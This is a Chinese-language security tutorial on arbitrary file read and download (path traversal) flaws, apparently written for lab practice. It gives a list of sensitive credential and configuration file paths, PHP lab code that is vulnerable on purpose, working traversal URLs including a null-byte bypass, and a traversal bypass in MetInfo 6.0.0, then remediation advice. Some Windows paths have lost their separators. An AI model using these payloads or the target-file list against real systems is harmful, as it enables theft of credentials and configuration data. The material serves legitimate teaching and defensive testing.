[紅日安全]Web安全Day9 – 文件下載漏洞實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個項目起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個項目,歡迎通過郵件形式([email protected])聯繫我們。

1.1 任意文件讀取下載漏洞簡介

一些網站由於業務需求,可能提供文件查看或下載功能。如果對用戶查看或下載的文件不做限制,則惡意用戶能夠查看或下載任意文件,可以是源程式碼文件、敏感文件等。

1.2 任意文件讀取下載漏洞危害

攻擊者可以讀取下載伺服器中的配置文件、敏感文件等,會提供攻擊者更多可用資訊,提高被入侵的風險。

1.3 任意文件讀取下載漏洞利用條件

  1. 存在讀文件的函數
  2. 讀取文件的路徑用戶可控且未校驗或校驗不嚴
  3. 輸出了文件內容
  4. 任意文件讀取下載漏洞測試
    ## 2.1測試思路
  5. 尋找讀取或下載文件的功能點,跳躍目錄獲取敏感文件
  6. 有的限制目錄不嚴格,只對部分目錄限制,可以嘗試用其他敏感文件路徑,常見敏感文件路徑如下:
    Windows:  C:boot.ini  //查看系統版本  C:WindowsSystem32inetsrvMetaBase.xml  //IIS配置文件  C:Windowsrepairsam  //存儲系統初次安裝的密碼  C:Program Filesmysqlmy.ini  //Mysql配置  C:Program Filesmysqldatamysqluser.MYD  //Mysql root  C:Windowsphp.ini  //php配置資訊  C:Windowsmy.ini  //Mysql配置資訊  ...  Linux:  /root/.ssh/authorized_keys  /root/.ssh/id_rsa  /root/.ssh/id_ras.keystore  /root/.ssh/known_hosts  /etc/passwd  /etc/shadow  /etc/my.cnf  /etc/httpd/conf/httpd.conf  /root/.bash_history  /root/.mysql_history  /proc/self/fd/fd[0-9]*(文件標識符)  /proc/mounts  /porc/config.gz

2.2 靶機測試

這裡我們使用web for pentester進行測試

2.2.1 安裝步驟

下載地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我們只需要VMware安裝鏡像文件即可使用
新建虛擬機

默認下一步

選擇鏡像文件

設置虛擬機名稱和存放位置

磁碟大小默認即可

開啟此虛擬機

查看ip地址

搭建成功,這裡用Directory traversal做演示

2.2.2 Example 1

從程式碼里看出未作限制,直接讀取文件

$UploadDir = '/var/www/files/';    if (!(isset($_GET['file'])))      die();      $file = $_GET['file'];    $path = $UploadDir . $file;    if (!is_file($path))      die();    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');  header('Cache-Control: public');  header('Content-Disposition: inline; filename="' . basename($path) . '";');  header('Content-Transfer-Encoding: binary');  header('Content-Length: ' . filesize($path));    $handle = fopen($path, 'rb');    do {  $data = fread($handle, 8192);  if (strlen($data) == 0) {  break;  }  echo($data);  } while (true);    fclose($handle);  exit();

使用../來跳躍目錄讀取敏感文件,我們這裡讀取passwd文件
http://192.168.163.141/dirtrav/example1.php?file=../../../etc/passwd

2.2.3 Example 2

從程式碼里可以看出,路徑必須存在/var/www/files/

if (!(isset($_GET['file'])))      die();      $file = $_GET['file'];    if (!(strstr($file,"/var/www/files/")))      die();    if (!is_file($file))      die();    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');  header('Cache-Control: public');  header('Content-Disposition: inline; filename="' . basename($file) . '";');  header('Content-Transfer-Encoding: binary');  header('Content-Length: ' . filesize($file));    $handle = fopen($file, 'rb');    do {  $data = fread($handle, 8192);  if (strlen($data) == 0) {  break;  }  echo($data);  } while (true);    fclose($handle);  exit();

http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd

2.2.4 Example 3

從程式碼可以看出過濾空字元及以後的字元。

$UploadDir = '/var/www/files/';    if (!(isset($_GET['file'])))      die();      $file = $_GET['file'];    $path = $UploadDir . $file.".png";  // Simulate null-byte issue that used to be in filesystem related functions in PHP  $path = preg_replace('/x00.*/',"",$path);    if (!is_file($path))      die();    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');  header('Cache-Control: public');  header('Content-Disposition: inline; filename="' . basename($path) . '";');  header('Content-Transfer-Encoding: binary');  header('Content-Length: ' . filesize($path));    $handle = fopen($path, 'rb');    do {  $data = fread($handle, 8192);  if (strlen($data) == 0) {  break;  }  echo($data);  } while (true);    fclose($handle);  exit();

http://192.168.163.141/dirtrav/example3.php?file=../../../etc/passwd%00

2.3 CMS實戰演練

這裡選的是MetInfo cms進行任意文件讀取漏洞演示

2.3.1 安裝步驟

下載地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
漏洞環境:phpstudy、windows
存在漏洞:任意文件讀取
解壓好後,下一步下一步的安裝,配置資料庫、管理員資訊。


安裝完成

2.3.2 利用過程

漏洞點在:MetInfo6.0.0/include/thumb.php?dir=
漏洞程式碼文件位置:MetInfo6.0.0appsystemincludemoduleold_thumb.class.php
有兩次過濾,第一次把路徑中../、./進行過濾,第二次路徑中需要有http和不能存在./,

$dir = str_replace(array('../','./'), '', $_GET['dir']);      if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){      header("Content-type: image/jpeg");      ob_start();      readfile($dir);      ob_flush();      flush();      die;  }

在windows環境下可以使用..進行繞過
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http….configconfig_db.php

 

  1. 漏洞修復方案

1、對./、../、、..%進行過濾
2、嚴格控制可讀取或下載的文件路徑

  1. 參考文章

https://www.jianshu.com/p/f4b06f59c4cb
https://www.freebuf.com/vuls/181698.html